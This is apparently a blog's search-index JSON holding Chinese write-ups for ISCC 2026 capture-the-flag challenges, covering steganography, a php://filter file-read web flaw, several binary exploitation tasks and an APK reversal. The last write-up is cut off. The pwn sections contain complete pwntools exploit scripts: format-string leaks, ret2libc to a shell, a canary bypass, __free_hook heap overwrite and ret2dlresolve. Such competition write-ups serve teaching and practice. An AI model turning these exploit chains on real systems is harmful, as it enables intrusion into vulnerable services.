[{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":" campus_broadcast 题目信息 题目提示：\n别只看图，广播更重要；找到顺序，口令自然会出现。\n附件：\nshnu.jpg campus_broadcast.wav 解题过程 先检查图片文件，发现图片末尾存在隐藏压缩包特征：\nstrings shnu.jpg | grep -i rar 可以看到：\nTheFollowingIsARarFile Rar! 说明 shnu.jpg 后面附加了一个 RAR 文件。\n提取 RAR：\nfrom pathlib import Path data = Path(\u0026#34;shnu.jpg\u0026#34;).read_bytes() pos = data.find(b\u0026#34;Rar!\u0026#34;) Path(\u0026#34;hidden.rar\u0026#34;).write_bytes(data[pos:]) 尝试打开发现 RAR 被加密，需要密码。\n根据题目提示“广播更重要；找到顺序”，分析音频 campus_broadcast.wav。对音频做频谱图，可以看到隐藏提示指向海报正面的校训顺序：\n厚德博学 求是笃行 转换为拼音首字母：\nhou de bo xue qiu shi du xing h d b x q s d x 因此 RAR 密码为：\nhdbxqsdx 使用该密码解压：\n7z x hidden.rar -phdbxqsdx 解压后得到 8 个片段文件：\nhou de bo xue qiu shi du xing 内容分别为：\nhou -\u0026gt; wE3r de -\u0026gt; T5yU bo -\u0026gt; 7iO9 xue -\u0026gt; pL0k qiu -\u0026gt; J2hG shi -\u0026gt; 4fD du -\u0026gt; 6sA xing -\u0026gt; 8qQ 按照校训顺序：\nhou de bo xue qiu shi du xing 拼接得到：\nwE3rT5yU7iO9pL0kJ2hG4fD6sA8qQ Flag ISCC{wE3rT5yU7iO9pL0kJ2hG4fD6sA8qQ} ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/misc/campus_broadcast/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"campus_broadcast"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"题目是一个 “JSON 美化 + 预览” 小工具，首页提交数据到 /api/beautify.php，返回一个临时预览文件名。最先可以用最简单的输入验证功能：\n{\u0026#34;data\u0026#34;:\u0026#34;{\\\u0026#34;a\\\u0026#34;:1}\u0026#34;,\u0026#34;preview_type\u0026#34;:\u0026#34;raw\u0026#34;} 返回类似：\n{ \u0026#34;success\u0026#34;: true, \u0026#34;preview_id\u0026#34;: \u0026#34;preview_xxxxxxxx\u0026#34;, \u0026#34;preview_file\u0026#34;: \u0026#34;preview_xxxxxxxx.tmp\u0026#34; } 然后访问：\n/api/preview.php?file=preview_xxxxxxxx.tmp 可以读到刚才写入的内容，说明这里存在一个“读取临时预览文件”的接口。进一步访问 /robots.txt，里面明确提示了 /api/preview.php 和 /api/beautify.php，说明关键逻辑就在这两个文件。\n接下来要判断 preview.php 是“读取文件”还是“包含执行文件”。构造目录穿越去读诸如 ../../etc/passwd，会发现它只是把文件内容读出来，不会执行 PHP 代码，所以这题核心不是文件包含 RCE，而是文件读取逻辑的二次利用。根据响应头还能看到：\nX-DocRoot: /path/to/src/ 结合题目行为，可以继续想办法读源码，进而分析 /api/preview.php 和 /api/beautify.php 的实现。\n核心漏洞点在 preview.php 的逻辑。它先读取我们指定的临时预览文件内容，大致相当于：\n$content = file_get_contents($real); 然后按行处理内容，取出形如 scheme://... 的 scheme：\n$scheme = schemeOf($line); 它只过滤了少数危险协议，比如：\nhttp, https, ftp, ftps, phar, expect 但没有过滤 php://。之后如果识别到这一行是一个“资源引用”，又会再次执行：\n$data = @file_get_contents($line); 这就是漏洞关键：虽然我们最开始只能写一个普通文本预览文件，但 preview.php 会把这个文本内容再次当作路径/流包装器去读取，形成二次文件读取。\n因此利用方式很直接：通过 /api/beautify.php 生成一个内容为下面这行的临时预览文件：\nphp://filter/read=convert.base64-encode/resource=/secret/flag 为了符合接口要求，可以用 data_uri 模式提交：\n{ \u0026#34;data\u0026#34;: \u0026#34;data:text/plain;base64,cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==\u0026#34;, \u0026#34;preview_type\u0026#34;: \u0026#34;data_uri\u0026#34; } 服务端返回一个新的 preview_file，例如：\n{ \u0026#34;success\u0026#34;: true, \u0026#34;preview_id\u0026#34;: \u0026#34;preview_3bd17163ca969ce6\u0026#34;, \u0026#34;preview_file\u0026#34;: \u0026#34;preview_3bd17163ca969ce6.tmp\u0026#34; } 然后访问：\n/api/preview.php?file=preview_3bd17163ca969ce6.tmp 返回内容为：\nSVNDQ3tCVlptWkY2YnZteGhLVFk0Mm1LaH0K 这是 base64，解码即可得到 flag：\nISCC{BVZmZF6bvmxhKTY42mKh} 最终 flag\nISCC{BVZmZF6bvmxhKTY42mKh} ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/web/json-beautifier/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"JSON Beautifier"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"附件是一个 32 位 ELF：\n$ file attachment-9 attachment-9: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped $ checksec --file=attachment-9 Partial RELRO No canary found NX enabled No PIE 1. main 里的格式化字符串 read(0, buf, 0x20); printf(buf); if (target_val == 5) { vuln(); } 这里存在：\nprintf(buf) 格式化字符串漏洞 全局变量 target_val 可被 %n 修改 所以第一步需要把 target_val 改成 5，进入 vuln。 2. vuln 里的栈溢出 char buf[0x90]; read(0, buf, 0x100); 0x90 的缓冲区读入了 0x100 字节，存在明显栈溢出。 返回地址偏移为：\noffset = 0x94 利用思路 先用格式化字符串把 target_val 改成 5 进 vuln 后用 write@plt 泄露 libc 再打 ret2libc 但远端有一个坑：每次新连接的 libc 基址都不同。 如果用“多个连接泄露 + 新连接利用”，算出来的 system 地址会失效，最终就是 Got EOF while reading in interactive。\n所以正确做法是：同一连接里同时完成泄露和过关。\n最终利用链 第一次输入利用 printf(buf) 做两件事：\n泄露 printf@got 用 %hhn 把 target_val 改成 5 这里选择泄露 printf@got，因为当前就在执行 printf，它的 GOT 已经被解析成真实 libc 地址；像 write@got 在这个时刻还可能只是 plt 跳板地址，不能直接拿来算 libc。 payload 结构： p32(printf_got) + p32(target_val) + b\u0026#34;%4$.4s%249c%5$hhn\u0026#34; 含义：\n前 4 字节作为 %4$ 的参数，配合 %4$.4s 精确读出 printf@got 的 4 字节内容 再用 %249c 控制当前输出字符数 %5$hhn 把低 1 字节写到 target_val 为什么是 249：\n前面已经输出了 8 个原始地址字节 %4$.4s 又输出 4 个泄露字节 总共已经输出 12 个字节 需要写成 5，而 %hhn 只看低 1 字节 所以补到 0x105 即可，0x105 % 0x100 = 5 0x105 - 12 = 249 这样第一次输入结束后：\n拿到 printf 的真实 libc 地址 target_val == 5 程序进入 vuln 第二次输入直接栈溢出，走 ret2libc。\n这里远端用 system(\u0026quot;/bin/sh\u0026quot;) 不稳定，直接 EOF； 改成：\nexecve(\u0026#34;/bin/sh\u0026#34;, 0, 0) 即可稳定拿 shell。\nExp from pathlib import Path from pwn import * context.clear(arch=\u0026#34;i386\u0026#34;, os=\u0026#34;linux\u0026#34;, log_level=\u0026#34;debug\u0026#34;) BASE_DIR = Path(__file__).resolve().parent BIN_PATH = BASE_DIR / \u0026#34;attachment-9\u0026#34; LIBC_PATH = BASE_DIR / \u0026#34;libc2318_extract\u0026#34; / \u0026#34;lib32\u0026#34; / \u0026#34;libc-2.31.so\u0026#34; elf = ELF(str(BIN_PATH)) libc = ELF(str(LIBC_PATH)) HOST = \u0026#34;39.96.193.120\u0026#34; PORT = 10000 OFFSET = 0x94 io = remote(HOST, PORT, timeout=5) io.recvuntil(b\u0026#34;Hope you have a good time here.\\n\u0026#34;) fmt = p32(elf.got[\u0026#34;printf\u0026#34;]) + p32(elf.sym[\u0026#34;target_val\u0026#34;]) + b\u0026#34;%4$.4s%249c%5$hhn\u0026#34; io.send(fmt) io.recvn(8) printf_addr = u32(io.recvn(4)) log.success(f\u0026#34;printf = {hex(printf_addr)}\u0026#34;) libc.address = printf_addr - libc.sym[\u0026#34;printf\u0026#34;] execve_addr = libc.sym[\u0026#34;execve\u0026#34;] binsh_addr = next(libc.search(b\u0026#34;/bin/sh\\x00\u0026#34;)) log.success(f\u0026#34;libc = {hex(libc.address)}\u0026#34;) log.success(f\u0026#34;execve = {hex(execve_addr)}\u0026#34;) log.success(f\u0026#34;binsh = {hex(binsh_addr)}\u0026#34;) io.recvuntil(b\u0026#34;Input:\\n\u0026#34;) payload = flat( b\u0026#34;A\u0026#34; * OFFSET, execve_addr, 0xDEADBEEF, binsh_addr, 0, 0, ) io.send(payload) io.interactive() Flag ISCC{e2d72fc8-fd71-4339-a79f-43a23013d374} 附件下载 attachment-9 ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/pwn/permission/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"permission"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"一个简单的canary绕过 利用格式化字符串把canary拿出来\nfrom pwn import * context(os=\u0026#34;linux\u0026#34;, arch=\u0026#34;i386\u0026#34;, log_level=\u0026#34;debug\u0026#34;) elf = ELF(\u0026#34;./attachment-5\u0026#34;) io = remote(\u0026#39;39.96.193.120\u0026#39;,10018) getshell = elf.symbols[\u0026#34;getshell\u0026#34;] log.success(f\u0026#34;getshell = {hex(getshell)}\u0026#34;) io.recvuntil(b\u0026#34;Hello Hacker!\\n\u0026#34;) # 第一次输入：泄露 canary io.send(b\u0026#34;%31$p.END\\x00\u0026#34;) leak = io.recvuntil(b\u0026#34;.END\u0026#34;, drop=True) canary = int(leak, 16) log.success(f\u0026#34;canary = {hex(canary)}\u0026#34;) # 第二次输入：溢出并 ret2getshell payload = b\u0026#34;A\u0026#34; * 0x64 payload += p32(canary) payload += b\u0026#34;B\u0026#34; * 0xc payload += p32(getshell) io.send(payload) io.interactive() ISCC{b35011bd-571b-4561-8382-b78aa1530853} 附件下载 attachment-5 ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/pwn/stack/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"stack"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":" ISCC 2026 pwn WP 1. 基本信息 file attachment-35 # ELF 64-bit PIE checksec: # Arch: amd64 # RELRO: Full RELRO # Canary: enabled # NX: enabled # PIE: enabled libc: glibc 2.31 保护全开，不能改 GOT，主要走堆利用。\n2. 结构体还原 程序维护一个全局学生数组：\nstudent *list[7]; int cnt; int role; // 0 teacher, 1 student 外层结构：\nstruct student { struct info *info; // +0x00 void *mode; // +0x10 int is_lazy; // +0x18 int used_reward; // +0x1c }; 内层结构：\nstruct info { int question_num; // +0x00 int score; // +0x04 char *review; // +0x08 int review_size; // +0x10 }; add student：\nstudent = calloc(1, 0x20); info = calloc(1, 0x18); student-\u0026gt;info = info; 3. 关键漏洞 漏洞 1：奖励逻辑给任意地址单字节 +1 check review 里：\nif (score \u0026gt; 89 \u0026amp;\u0026amp; !used_reward) { printf(\u0026#34;Good Job! Here is your reward! %p\u0026#34;, student); read addr; *(char *)addr += 1; used_reward = 1; } 也就是：\n任意地址 1 byte += 1 同时它会泄露当前 student 的堆地址。\n漏洞 2：score 可以变成负数，绕过 score \u003e 89 正常分数最大是 89，看似不能触发 reward。\n但 give score 中：\nscore = rand_byte % (question_num * 10); if (student-\u0026gt;is_lazy == 1) { score -= 10; } 如果先把 is_lazy 设为 1，分数会变成 -10 ~ -1。\n后面判断使用的是无符号比较：\ncmp eax, 0x59 jbe no_reward 负数在 unsigned 下非常大，因此可以触发 reward。\n利用流程：\nadd student change role -\u0026gt; student set mode / lazy change role -\u0026gt; teacher give score check review 漏洞 3：通过单字节 +1 扩大 chunk size，制造堆重叠 评论大小最大 0x3ff。\n申请 0x3e0 的 review：\nreview = calloc(1, 0x3e0); 实际 chunk size 是：\n0x3f0 size 字段：\n0x3f1 如果用 reward 把 size 字段第二个字节加一：\n0x03 -\u0026gt; 0x04 chunk size 就从：\n0x3f0 -\u0026gt; 0x4f0 之后 free 这个 review，就能得到一个伪造的大 unsorted chunk，覆盖后面 student 的结构体。\n4. 利用思路 整体流程：\n1. add student 0 2. 给 student 0 写 review，size = 0x3e0 3. add student 1，使 student 1 紧跟在 review0 后面 4. 让 student 0 分数为负数，触发 reward 5. 用 reward 把 review0 chunk size 从 0x3f0 改成 0x4f0 6. delete student 0，释放伪造大 chunk，进入 unsorted bin 7. add student 2，并申请 0x3ff 的 review 8. 该 review 会从 unsorted chunk 切出来，覆盖 student 1 的结构体 9. 伪造 student 1 的 info，实现任意读 / 任意写 10. 泄露 libc 11. 写 __free_hook = system 12. free(\u0026#34;/bin/sh\u0026#34;) 5. libc 泄露 伪造大 chunk 被重新分配后，剩余部分仍在 unsorted bin。\nunsorted bin 的 fd / bk 指向：\nmain_arena + 0x60 glibc 2.31 中常用：\nlibc_base = leak - 0x1ecbe0 6. getshell 脚本 39.96.193.120:10016\nfrom pwn import * context.arch = \u0026#34;amd64\u0026#34; elf = ELF(\u0026#34;./attachment-35\u0026#34;) libc = ELF(\u0026#34;./attachment-35.so\u0026#34;) p = process( [\u0026#34;./attachment-35\u0026#34;], env={\u0026#34;LD_PRELOAD\u0026#34;: \u0026#34;./attachment-35.so\u0026#34;} ) def sla(x, y): p.sendlineafter(x, y) def sa(x, y): p.sendafter(x, y) def menu(x): sla(b\u0026#34;choice\u0026gt;\u0026gt;\u0026#34;, str(x).encode()) def add(q=1): menu(1) sla(b\u0026#34;enter the number of questions:\u0026#34;, str(q).encode()) def test(): menu(2) def review(idx, size=None, data=b\u0026#34;\u0026#34;): menu(3) sla(b\u0026#34;which one? \u0026gt;\u0026#34;, str(idx).encode()) if size is not None: sla(b\u0026#34;please input the size of comment:\u0026#34;, str(size).encode()) sa(b\u0026#34;enter your comment:\u0026#34;, data) def delete(idx): menu(4) sla(b\u0026#34;which student id to choose?\u0026#34;, str(idx).encode()) def change_role(r): menu(5) sla(b\u0026#34;role: \u0026lt;0.teacher/1.student\u0026gt;:\u0026#34;, str(r).encode()) def student_menu(x): menu(x) def change_id(idx): student_menu(6) sla(b\u0026#34;which student id to choose?\u0026#34;, str(idx).encode()) def set_lazy(): student_menu(4) def check_review(): student_menu(2) def make_negative_score(idx): change_role(1) change_id(idx) set_lazy() change_role(0) test() # ------------------------- # 1. 初始化堆布局 # ------------------------- sla(b\u0026#34;role: \u0026lt;0.teacher/1.student\u0026gt;:\u0026#34;, b\u0026#34;0\u0026#34;) add(1) # student 0 review(0, 0x3e0, b\u0026#34;A\u0026#34;) # review0, chunk size 0x3f0 add(1) # student 1，位于 review0 后方 # ------------------------- # 2. 触发 reward，泄露 heap # ------------------------- make_negative_score(0) change_role(1) change_id(0) check_review() p.recvuntil(b\u0026#34;reward! \u0026#34;) heap_leak = int(p.recvline().strip(), 16) log.success(f\u0026#34;student0 = {hex(heap_leak)}\u0026#34;) # review0 data = student0 + 0x50 review0 = heap_leak + 0x50 # review0 chunk size 地址 = review0 - 8 # size = 0x3f1，第二字节在 review0 - 7 size_byte = review0 - 7 sla(b\u0026#34;addr:\u0026#34;, str(size_byte).encode()) # ------------------------- # 3. free fake large chunk # ------------------------- change_role(0) delete(0) # ------------------------- # 4. 重新申请，覆盖 student1 # ------------------------- add(1) # student2，消耗 tcache 中的 student0 / info0 # 当前 student2 的 review 会从 fake unsorted chunk 分配 # review2 起点仍然是 review0 # # student1 外层结构位于 review0 + 0x3f0 # 在 payload 中覆盖 student1: # # student1-\u0026gt;info = fake_info # fake_info-\u0026gt;score = -1 # fake_info-\u0026gt;review = unsorted remainder bk # fake_info-\u0026gt;review_size = 8 fake_info = review0 + 0x100 student1_off = 0x3f0 unsorted_leak_addr = review0 + 0x410 + 0x10 payload = b\u0026#34;\u0026#34; payload = payload.ljust(0x100, b\u0026#34;\\x00\u0026#34;) payload += p32(1) # question_num payload += p32(0xffffffff) # score = -1 payload += p64(unsorted_leak_addr) payload += p32(8) payload = payload.ljust(student1_off, b\u0026#34;\\x00\u0026#34;) payload += p64(fake_info) # student1-\u0026gt;info payload += p64(0) payload += p64(0) payload += p32(0) payload += p32(0) review(2, 0x3ff, payload) # ------------------------- # 5. 泄露 libc # ------------------------- change_role(1) change_id(1) check_review() p.recvuntil(b\u0026#34;here is the review:\\n\u0026#34;) leak = u64(p.recv(8)) libc_base = leak - 0x1ecbe0 log.success(f\u0026#34;libc leak = {hex(leak)}\u0026#34;) log.success(f\u0026#34;libc base = {hex(libc_base)}\u0026#34;) system = libc_base + libc.sym[\u0026#34;system\u0026#34;] free_hook = libc_base + libc.sym[\u0026#34;__free_hook\u0026#34;] log.success(f\u0026#34;system = {hex(system)}\u0026#34;) log.success(f\u0026#34;__free_hook = {hex(free_hook)}\u0026#34;) # ------------------------- # 6. 任意写 __free_hook = system # ------------------------- payload = b\u0026#34;\u0026#34; payload = payload.ljust(0x100, b\u0026#34;\\x00\u0026#34;) payload += p32(1) payload += p32(0xffffffff) payload += p64(free_hook) payload += p32(8) payload = payload.ljust(student1_off, b\u0026#34;\\x00\u0026#34;) payload += p64(fake_info) change_role(0) review(2, None, payload) change_role(1) change_id(1) student_menu(3) # pray / write through fake review ptr p.send(p64(system)) # ------------------------- # 7. free(\u0026#34;/bin/sh\u0026#34;) # ------------------------- change_role(0) add(1) review(3, 0x20, b\u0026#34;/bin/sh\\x00\u0026#34;) delete(3) p.interactive() 附件下载 attachment-35 attachment-35.so ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/pwn/test/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"test"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":" 题目信息 目标地址：39.96.193.120:33334\n程序保护：\nArch: amd64 RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE 漏洞分析 这题一共有三处关键点：\ncustomer ID 处存在格式化字符串漏洞 printf(\u0026#34;Welcome, \u0026#34;); printf(id_buf); 因此可以直接泄露栈上和内存中的内容。\n数量检查只比较了低 8 位 程序读入数量后，实际比较的是 al 是否小于等于 3，所以像 256、512 这类低字节为 0 的值都能绕过限制。\n商品名输入处存在栈溢出 char product[0x100]; read(0, product, num); product 只有 0x100 字节，但 num 可以绕过检查，因此可以造成溢出。\n溢出到返回地址的偏移为：\n0x108 利用思路 main 会调用 vuln() 三次，所以可以分三轮完成利用。\n第一轮：泄露 canary 使用：\n%45$p 可以稳定泄露栈 canary。\n第二轮：泄露 libc 继续利用格式化字符串，构造：\nb\u0026#34;%9$sAAAA\u0026#34; + p64(elf.got[\u0026#34;printf\u0026#34;]) 含义：\n%9$s 读取第 9 个参数指向的字符串 我们在 payload 末尾追加了 printf@got 因此可以泄露 printf 在 libc 中的真实地址 拿到 printf@libc 后即可计算 libc 基址。\n第三轮：绕过限制并 ROP 数量输入使用:\n512 原因：\n512 \u0026amp; 0xff == 0，能绕过检查 512 又足够大，能覆盖到返回地址 随后构造 ROP，调用： execve(\u0026#34;/bin/sh\u0026#34;, 0, 0) Exp from pathlib import Path from pwn import * context.clear(arch=\u0026#34;amd64\u0026#34;, os=\u0026#34;linux\u0026#34;, log_level=\u0026#34;info\u0026#34;) BASE_DIR = Path(__file__).resolve().parent elf = ELF(str(BASE_DIR / \u0026#34;attachment-16\u0026#34;), checksec=False) HOST = \u0026#34;39.96.193.120\u0026#34; PORT = 33334 OFFSET = 0x108 RET = 0x40101A CSU_CALL = 0x401480 CSU_POP = 0x40149A def start(): return remote(HOST, PORT) def leak_canary(io): io.recvuntil(b\u0026#34;Please enter your customer ID:\\n\u0026#34;) io.send(b\u0026#34;%45$p\\n\u0026#34;) data = io.recvuntil(b\u0026#34;quantity you need:\\n\u0026#34;) canary = int(data.split(b\u0026#34;Welcome, \u0026#34;, 1)[1].split(b\u0026#34;\\n\u0026#34;, 1)[0], 16) io.send(b\u0026#34;0\\n\u0026#34;) io.recvuntil(b\u0026#34;Please enter the name of the product you need:\\n\u0026#34;) io.recvuntil(b\u0026#34;Order confirmed!\\n\u0026#34;) io.recvuntil(b\u0026#34;Please enter your customer ID:\\n\u0026#34;) return canary def csu_read(data_addr, size): return flat( CSU_POP, 0, # rbx 1, # rbp 0, # r12 -\u0026gt; edi = 0 data_addr, # r13 -\u0026gt; rsi size, # r14 -\u0026gt; rdx elf.got[\u0026#34;read\u0026#34;],# r15 -\u0026gt; [r15 + rbx*8] CSU_CALL, 0, # add rsp, 8 0, 0, 0, 0, 0, 0, ) def main(): io = start() canary = leak_canary(io) log.success(f\u0026#34;canary = {hex(canary)}\u0026#34;) dlresolve = Ret2dlresolvePayload(elf, symbol=\u0026#34;system\u0026#34;, args=[\u0026#34;/bin/sh\u0026#34;]) rop = ROP(elf) rop.raw(RET) rop.raw(csu_read(dlresolve.data_addr, len(dlresolve.payload))) rop.ret2dlresolve(dlresolve) io.send(b\u0026#34;guest\\n\u0026#34;) io.recvuntil(b\u0026#34;quantity you need:\\n\u0026#34;) io.send(b\u0026#34;512\\n\u0026#34;) io.recvuntil(b\u0026#34;Please enter the name of the product you need:\\n\u0026#34;) payload = flat( b\u0026#34;A\u0026#34; * OFFSET, canary, b\u0026#34;B\u0026#34; * 8, rop.chain(), ).ljust(512, b\u0026#34;\\x00\u0026#34;) io.send(payload) io.send(dlresolve.payload) io.interactive() if __name__ == \u0026#34;__main__\u0026#34;: main() 附件下载 attachment-16 ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/pwn/vending/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"vending"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":" SCM APK Writeup 1. p1/p2/p3/p4 在哪里校验 四段输入最终都会进入 PasswordValidator.validateAndDecrypt(context, p1, p2, p3, p4)：\nPasswordValidator.smali 这一个函数就是总校验入口。它的逻辑可以概括成：\n先在 Java/Kotlin 层校验 p1 再在 Java/Kotlin 层结合 p1 校验 p2 调 native 校验 p3 调 native 校验 p4 全部通过后，用 p1+p2+p3+p4 拼成 key 去解密 flag.enc 关键调用点分别在：\np1 校验主体：PasswordValidator.smali p2 校验主体：PasswordValidator.smali p3 native 调用：PasswordValidator.smali p4 native 调用：PasswordValidator.smali 最终解密：PasswordValidator.smali 2. p1 怎么校验 p1 的硬编码目标 hash 在：\nPasswordValidator.smali 值为：\n5475D82A7B1E7BAD1C0D50487C52AD17D8C7E5F1FF68E361ACC725CD301A5215 辅助函数在：\ntrimEnd() 相关处理：Transforms.smali take(6)/长度处理：Transforms.smali SHA-256 相关：Transforms.smali 还原后逻辑如下：\ndef normalize_ascii6(s: str) -\u0026gt; str: return s.rstrip()[:6] def require_ascii6(s: str): assert len(s) == 6 assert all(0x20 \u0026lt;= ord(c) \u0026lt;= 0x7E for c in s) def double_sha256_ascii6(s: str) -\u0026gt; str: s = normalize_ascii6(s) require_ascii6(s) return sha256(sha256(s.encode(\u0026#34;ascii\u0026#34;))).hexdigest().upper() assert double_sha256_ascii6(p1) == \u0026#34;5475D82A7B1E7BAD1C0D50487C52AD17D8C7E5F1FF68E361ACC725CD301A5215\u0026#34; 也就是说，p1 本质上是一个 6 字符可打印 ASCII，经过“双 SHA-256”后与固定常量比较。\n3. p2 怎么校验 p2 仍然在 PasswordValidator.validateAndDecrypt() 里完成校验：\nPasswordValidator.smali PasswordValidator.smali 用到的辅助函数包括：\nfoldAscii6ToU24：Transforms.smali hex6ToU24：Transforms.smali u24ToHex6：Transforms.smali atbashHex6：Transforms.smali rol24：Transforms.smali 其中 foldAscii6ToU24 实际上是一个 24 位 FNV-1a：\ndef fnv24(s: str) -\u0026gt; int: h = 0x811C9DC5 for b in s.encode(\u0026#34;ascii\u0026#34;): h ^= b h = (h * 0x1000193) \u0026amp; 0xFFFFFFFF return h \u0026amp; 0xFFFFFF p2 的约束可整理为：\nu1 = fnv24(p1) u2 = fnv24(p2) a = (u2 ^ 0xAAAAAA) \u0026amp; 0xFFFFFF b = hex6_to_u24(atbash_hex6(u24_to_hex6(a))) c = rol24(b, 8) want_u1 = hex6_to_u24(atbash_hex6(u24_to_hex6(c))) assert u1 == want_u1 所以 p2 不是直接和某个常量比，而是要求 fnv24(p2) 经过一串 24 位变换后，能够回到 fnv24(p1)。\n4. p3 怎么校验 Java 层入口在：\nNativeBridge.smali NativeBridge.smali 最终进入 native 的 Java_com_example_scm_ctf_NativeBridge_nativeValidatePart3。\n这一段的核心逻辑是：\n要求 p1/p2/p3 都是 6 字节可打印 ASCII 计算 fnv24(p3) 令 off = fnv24(p3) ^ 0xAAAAAA 从 assets/data.bin 的 off 位置读取 3 字节 little-endian 读取值再与 0xDEADBE 异或 结果必须等于 (xor6(p1) \u0026lt;\u0026lt; 16) | (xor6(p2) \u0026lt;\u0026lt; 8) | xor6(p3) 抽象成代码就是：\ndef xor6(s: str) -\u0026gt; int: x = 0 for b in s.encode(\u0026#34;ascii\u0026#34;): x ^= b return x \u0026amp; 0xFF off = fnv24(p3) ^ 0xAAAAAA v = read_u24_le(data_bin, off) left = (v ^ 0xDEADBE) \u0026amp; 0xFFFFFF right = (xor6(p1) \u0026lt;\u0026lt; 16) | (xor6(p2) \u0026lt;\u0026lt; 8) | xor6(p3) assert left == right 这里最关键的外部资源是：\ndata.bin 5. p4 怎么校验 Java 层入口在：\nNativeBridge.smali NativeBridge.smali 最终进入 native 的 Java_com_example_scm_ctf_NativeBridge_nativeValidatePart4。\n这一段不是普通 hash 比较。它先计算一个 24 位 seed：\nseed = fnv24(p1) ^ rol24(fnv24(p2), 3) ^ rol24(fnv24(p3), 7) seed \u0026amp;= 0xFFFFFF 然后将 p4 经过一个“旋转 Base64 表 + 位混淆”编码，结果必须命中 native 里的硬编码目标：\ngGH52dkV 抽象后可写成：\nB64 = b\u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; TARGET = b\u0026#34;gGH52dkV\u0026#34; def encode_p4(p4: bytes, seed: int) -\u0026gt; bytes: rot = B64[seed \u0026amp; 0x3F:] + B64[:seed \u0026amp; 0x3F] v1 = (p4[0] \u0026lt;\u0026lt; 16) | (p4[1] \u0026lt;\u0026lt; 8) | p4[2] v2 = (p4[3] \u0026lt;\u0026lt; 16) | (p4[4] \u0026lt;\u0026lt; 8) | p4[5] sext = [ (v1 \u0026gt;\u0026gt; 18) \u0026amp; 0x3F, (v1 \u0026gt;\u0026gt; 12) \u0026amp; 0x3F, (v1 \u0026gt;\u0026gt; 6) \u0026amp; 0x3F, v1 \u0026amp; 0x3F, (v2 \u0026gt;\u0026gt; 18) \u0026amp; 0x3F, (v2 \u0026gt;\u0026gt; 12) \u0026amp; 0x3F, (v2 \u0026gt;\u0026gt; 6) \u0026amp; 0x3F, v2 \u0026amp; 0x3F, ] out = [] for i, s in enumerate(sext): mix = (seed \u0026gt;\u0026gt; ((i * 7) % 24)) \u0026amp; 0x3F out.append(rot[(s ^ mix) \u0026amp; 0x3F]) return bytes(out) assert encode_p4(p4.encode(\u0026#34;ascii\u0026#34;), seed) == b\u0026#34;gGH52dkV\u0026#34; 6. 图片提示怎么用 APK 自带了一张提示图：\n资源位置：p1_display.png 原图如下：\n把它重组后，可以得到你给的提示图：\n重组图：d95d0da37387484ca79aed460c35b4bf.png 从图上最直观能读出的内容是：\n43542E303660 但这个值不能直接当作 p1，原因有两个：\np1 校验只接受 6 字符 ASCII，不接受 12 位 hex 串直接输入 如果把 43542E303660 直接按 hex 转 ASCII，会得到 `CT.06``，代入双 SHA-256 后对不上硬编码 hash 因此，提示图的正确用法不是“直接抄字符串”，而是把它理解成：\n这张图给的是 p1 的 hex 形式提示 图像重组/识别过程中有一位被误读 把 43542E303660 修正为 43542E3D3660 后，才能命中程序校验 也就是：\n43 54 2E 3D 36 60 C T . = 6 ` 因此：\np1 = CT.=6` 这一点最终要靠程序校验来反证。也就是说，图片只负责给方向，真正定值还是靠 p1 的双 SHA-256 比较来确认。\n7. 怎么解出 p1/p2/p3/p4 7.1 解 p1 先从提示图出发，得到重组后的 hex 提示。将其修正为：\n43542E3D3660 再转 ASCII：\np1 = CT.=6` 把它代回 p1 的双 SHA-256 校验，正好命中目标 hash：\n5475D82A7B1E7BAD1C0D50487C52AD17D8C7E5F1FF68E361ACC725CD301A5215 所以：\np1 = CT.=6` 7.2 解 p2 有了 p1 之后，先算：\nu1 = fnv24(p1) 把 p2 的变换链反推，可得到它应满足：\nfnv24(p2) = 0xEFAF45 接下来在 6 位可打印 ASCII 里找这个 FNV-1a 24 位前像即可。最终可得：\np2 = EAafFE 7.3 解 p3 已知 p1 和 p2 后，p3 需要同时满足：\nfnv24(p3) 决定 data.bin 中的取值偏移 读出的 3 字节经过异或后，要与 xor6(p1) / xor6(p2) / xor6(p3) 拼起来的值相等 联立这一约束并筛选后，得到：\np3 = GLnHTy 7.4 解 p4 已知 p1/p2/p3 后，seed 就固定了：\nseed = fnv24(p1) ^ rol24(fnv24(p2), 3) ^ rol24(fnv24(p3), 7) 接着反推 native 中的编码目标 gGH52dkV，得到：\np4 = C0DE!! 8. 最终结果 四段输入分别为：\np1 = CT.=6` p2 = EAafFE p3 = GLnHTy p4 = C0DE!! 程序最终使用：\nkey = p1 + p2 + p3 + p4 去解密：\nflag.enc 得到最终 